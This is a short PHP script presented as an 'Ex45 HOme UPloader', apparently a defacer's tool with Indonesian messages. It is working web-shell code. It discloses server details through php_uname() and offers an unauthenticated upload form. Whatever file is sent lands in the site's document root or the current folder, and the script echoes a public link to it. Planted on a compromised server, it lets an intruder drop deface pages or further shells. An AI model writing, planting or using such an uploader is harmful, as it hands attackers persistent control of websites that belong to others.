home uploader

<?php echo "Ex45 HOme UPloader<br>"; echo "<b>".php_uname()."</b><br>"; echo "<form method='post' enctype='multipart/form-data'>       <input type='file' name='idx_file'>       <input type='submit' name='upload' value='upload'>       </form>"; $root = $_SERVER['DOCUMENT_ROOT']; $files = $_FILES['idx_file']['name']; $dest = $root.'/'.$files; if(isset($_POST['upload'])) {    if(is_writable($root)) {        if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {            $web = "http://".$_SERVER['HTTP_HOST']."/";            echo "sukses COk..!!!!! -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";        } else {            echo "gagal upload di document root.";        }    } else {        if(@copy($_FILES['idx_file']['tmp_name'], $files)) {            echo "sukses upload <b>$files</b> di folder ini";        } else {            echo "gagal upload";        }    } } ?>